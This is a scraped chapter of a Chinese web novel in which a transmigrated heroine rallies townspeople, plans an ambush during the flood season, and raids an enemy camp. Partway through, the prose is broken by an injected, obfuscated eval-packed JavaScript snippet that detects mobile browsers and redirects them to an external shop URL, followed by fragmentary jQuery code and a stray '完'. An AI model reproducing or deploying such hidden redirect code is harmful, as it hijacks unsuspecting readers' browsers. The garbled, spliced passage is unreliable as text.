文趣网 > 其他小说 > 我只是个冒牌剑灵 > 16.闹剧
    一场闹剧结束。

    那削瘦男子临走前,狠狠瞪了一眼霁寻春。那眼里有一丝不甘,怨恨。他背上包袱,往城门口去,忽然抬起手指,扯着嗓子:“你们会后悔的!我可不想跟你们一起死在这里!”

    没有人应他。

    他的背影在尘土里越来越小,最后变成一个点,被地平线吞没。城门洞里灌进来的风裹着烧焦的木屑味,打在脸上,有点疼。

    霁寻春双髻早已散乱得不成样子,几缕碎发黏在脸颊上,被汗浸透。她抬手草草地撩过头发,露出光洁的额头,用袖子擦掉脸上血珠,她又握紧了几分冰凉的长戟,发烫的掌心被一点带你熨平。

    她看着底下的人,喉咙似一把火,烧得她开不了口。

    “若有人害怕,”她开口,嗓子有点哑,带着干涩,“现在就可以走向城门,我绝不阻拦。”

    人群中一阵骚乱,窃窃私语像水波一样荡开。

    一位年轻女子跛着脚,正揪着男子耳朵,凑在耳边嘀嘀咕咕说着什么。声音压的极地,那男人龇牙咧嘴喊着疼。老妇人把孙子护在身后,干枯的手一下一下拍着孩子背,孩子怯生生的,肩膀微微发抖。

    霁寻春的目光扫过每一个人,老人,稚童,带伤的,跛脚的。

    他们不是不想走。

    是走不了。

    这条流离路上坎坷,说不定没走到就丢了命,就算走了又能上哪?

    一时间,尘土飞扬,没有人动,城墙上烧毁的旌旗耷拉在残桩上,火还没全熄,偶尔有烧裂的木头“啪”地一声炸响,溅起几点火星。

    突然,人群中有人出声了。

    “我愿誓死追随秋将军!”

    那声音不知从哪个角落先起来,粗哑的,像是用尽了全身力气。接着第二声,第三声,宛如石头砸进水里,一圈一圈荡漾,到最后震天动地,响彻云霄,连那火星都更烈几分。

    霁寻春握着戟杆的手指一根根收紧。

    她咬着下唇,铁锈味蔓延在口腔,胸腔里一股热流往喉咙上涌,压都压不住,她看着底下那群抬起的眼睛,又亮又烫,望着她。

    霁寻春忽然不敢了。

    此刻她不是在幻境中,而是切切实实感受到,这是一个战场,而自己是一个将军。

    她低下头,声音发紧:“我......我不一定能守住。”

    底下安静一瞬,所有人呼吸都被她牵动。

    “那时候,都会死。”

    这句话说出嘴时,她死死掐着手掌心,她不敢看,怕这些眼睛那时候一个接一个灭下去,而她站在最前面,什么都做不了。这副担子压上来,比任何兵器都沉,压在胸口,连喘气都疼得厉害。

    “不怕!秋将军!我大牛不怕死!”

    是那个最先出声的声音,陈大牛,粗壮,憨厚,他梗着脖子,青筋鼓起来,眼中一片赤诚。

    完

    “哎哟哟!我王荀也不怕!”

    是那个被揪着耳朵的男子,伸着脖子,歪着脑袋,呲牙咧嘴地喊着,“痛痛痛!娘子松一点......”

    年轻女子把手抽回,嫌弃似地在衣摆上擦了擦,她一身洗的发白地布衣,头发用一块旧头巾包着,木钗别得端端正正,是那名跛脚女子。她拍拍手,抬眼看向霁寻春,嘴角往上一挑:“秋将军,我家这口子,你可得替我好好训,女子当自强,我冉灵信您!”

    她说到“女子当自强”的时候,忽然没那么玩笑,带着几分认真。

    声音越来越多。

    “我不怕!”

    “秋将军,我们都跟着你!”

    “这是我们的家,天王老子来了我们都不走!”

    那一声声快要将她淹没,霁寻春觉得喉咙发紧,鼻头一酸。心中宛如被一股洪流冲过,把压在肩上那担子都冲垮掉。

    手下的当兵都不怕,那她这个将军怎么能怯场?

    他们愿意跟着她,生死相依,无论结果,最重要的不就是过程吗?

    眼眶里的东西滚了一圈,最后被她死死困住,女儿有泪不轻弹,结局守不住又怎么样,霁寻春偏要反其道而行。

    从她穿进这本书开始,不就是为了打破命运吗?

    那些所谓的因果,命运,在霁寻春这里算个狗屁。

    战事真正吃紧起来,是在一场雨之后。

    那雨不大不小地下了小半个月,城墙上长了一层青苔,踩上去滑腻腻的。护城河水一日比一日浑浊,翻涌上来时,能闻到上游冲下来的泥腥味。

    这个汛期,刚好给了霁寻春喘息的机会,组建一支军队是何其难,更何况是从零开始。

    霁寻春这些日子几乎是长在书案前,兵法书上破破烂烂,着重标注一些可用的行策,地图上密密麻麻标着红圈黑叉,她有时候一盯就是半个时辰,眼睛酸了就揉一揉,揉完再接着看。书上的东西要运用到这块地上,全得推翻重来。

    当然,演武场也时时能看到她的身影,她先教会陈大牛一整套长戟的路数,等他学会后,就去教其他人。人手不够,她就亲自骑马到处找人,挨家挨户敲门。有人不敢开门,她就站在门外把话说完,再离开。

    粮不够,霁寻春就到处去找,甚至传信让顾念帮忙,顾念会不会帮不知道,但霁寻春相信,温轼匀一定会。

    这些事做完,已经过了半月有余,时间越来越紧迫。

    烛火烧了半宿,火苗明暗跳动,霁寻春对着地图,有几个位置重新画了几个叉,现下当务之急是粮食和装备,不然等人家大部队集合打过来,他们什么都没有,城墙那一块能补的都补了,炮台还有几座还可以用,剩下的就是一塌糊涂的缺口,拿石头和沙袋勉强填着。她单手撑着头,指尖有一下没一下点着图上那块红色标注。

    “文伯,”她忽然开口,“通往蜀山是不是只有青山一条路?”

    文伯倒茶的手一停,他把茶盏轻轻推到人手边,那双眼珠跟蒙了一层灰尘,慢慢转了一下:“回将军,另一条路前些日子被汛期冲断,咽下确实只有青山。”

    中旬,汛期,水势。

    这张地图是顾念给她画的,其中标注得清清楚楚,敌军位置,粮草仓又在何处。蜀山主峰,地势险峻,大雨不停,那蛮夷定不会选在那驻扎,而次峰青山,相对比较平坦,但中间有一条大裂谷,两边陡崖峭壁。

    一条必经之路,一条裂谷。

    若要通往主峰,青山是必经之路,上次入京城的蛮夷不多,就派了几个通水性的人,正值汛期,护城河水涨得厉害,蛮夷们不敢轻举妄动,但如今,他们必定会来。

    “有了。”

    她慢慢笑了,不得不说秋雪是秋家后人,脑子灵活,她现在还是靠温轼匀开挂给了张地图才知道行兵布阵,秋雪当时有这个待遇吗?顾念有没有帮她?

    霁寻春把文伯拉到身边,凑到人耳边,悉悉索索一阵交谈。

    文伯听完,捋着胡须,那蒙灰的眼珠里难得亮了一亮,一个劲点头:“好好好,将军果然比我们这把老骨头懂得多。”

    雨势终于小了。

    河水也不在像前些日子那样张牙舞爪,如一头吃饱的野兽,暂时收起爪子,水面还浑,但流速小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666638|205660||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了不少。

    霁寻春骑着一匹棕色的马,身披盔甲,银色甲胄在小雨中闪着冷光,她头发高高扎起,没有戴头盔,露出整张脸,年轻,张扬桀骜,眉眼间带着一股不怕事的嚣张。

    马蹄踏过泥泞,溅起一路水花。

    她单手抄起长戟,手腕一转,戟尖扫过一个蛮夷兵的喉咙,噗呲一声,那人还没来得及举刀,身子一软就倒在血泊中。旁边几个蛮夷人还没反应过来,她已经从马上俯身又一记补刀,戟杆带起的风吹得路边野草一歪,随即是温热的血涌出,喷溅在野草上。

    几具尸体横在路中间

    霁寻春收了长戟,马鞭一下子拍打在地上,啪地一声脆响,她居高临下地看过去,声音不大,但每个字清清楚楚:“阿尔木就这个本事?我一个女儿家都敌不过?”

    那从后方来地蛮夷兵瞪圆眼睛,冲上去准备偷袭,霁寻春长戟横扫,结结实实打在人身上,他嘴里霎时冒出血沫子。

    “回去告诉你们首领,”她抬起下巴,嘴角微微上扬:“看人不要走眼,别跟上回似的,把粮草给我充军。”

    她说的上回,是前几周的事。

    那时候河水还在涨,蛮夷们断定汉人成不了什么气候,翻不起什么浪花,那个地图中标注的,离霁寻春最近的粮仓当晚就开了个庆功宴,酒喝了一整晚,篝火烧到天亮,他们算盘打得噼啪响:等水一退,大军汇合,就一举拿下入京。

    谁也没想到,就在那一夜,霁寻春带着五十个人,摸黑蹚过半人深的山溪,绕了两个时辰山路,在黎明之前,摸进了他们营帐。

    五十人,一夜之间,灭了一个部落,甚至还一把火烧掉尸体。

    黎明到来时,霁寻春正到处搜刮战利品,那个部落只剩一堆烧焦的木头和焦黑的尸骨。部长的头颅被原封不动装进木匣子,送到阿尔木桌上,还有那被烧到一半的旌旗。

    阿尔木气得把桌上的水晶杯砸了个粉碎。

    碎片飞溅,划过一个部下额角,血顺着脸颊淌下,那人跪在地上低着头,也不敢擦。

    “废物!”阿尔木汉语说的不算好,每一个字都像从牙缝里挤出来,带着一股恨意:“一个女人都抓不住!”

    王座上的狼皮垫子被他狠狠砸下,他猛地站起来,抽出弯刀,一刀劈进王座,刀身嵌进去三分:“秋家都灭门了!”他冷扫过底下跪着的这群人,眼中像剜了刀子,“又跑出来一个秋雪,一个女人你们怕什么!”

    手下的人个个长得膘肥体壮,皮肤是小麦色,头发被绑起来半披着,他们捏着弯刀,大气都不敢出,没人敢抬头看。

    半天,才有人在角落里憋出一句:“首领,那女人.....长戟太厉害了,而且听闻她以前修仙,会不会有点......”那手下又小心翼翼开口:“邪乎?”

    阿尔木一脚踹翻案几,上面的银质酒酒器哗啦啦滚落,酒液泼在羊毛毯上,像飞溅的血。

    “去。”他拧着头,说了一个字。

    “下次不带着她的脑袋来,就拿你的脑袋来抵!”

    跪着的人如蒙大赦,慌忙磕头,额头砸在地砖上咚咚作响:“是是是!属下这就去擒拿她!这就去!”

    帘帐掀开又落下,外面的天阴沉沉的,昭示着一场即将爆发的战争。

    阿尔木站在帐中,胸口起伏,他摸着弯刀,划伤了伤,血珠滚落,他盯着那滴血珠,忽然狠戾地笑了。

    一个女人。

    一个修仙的女人。

    他倒要看看,这次谁的头颅会被装进木匣子。这次是十万精兵,你挡的住吗?秋雪?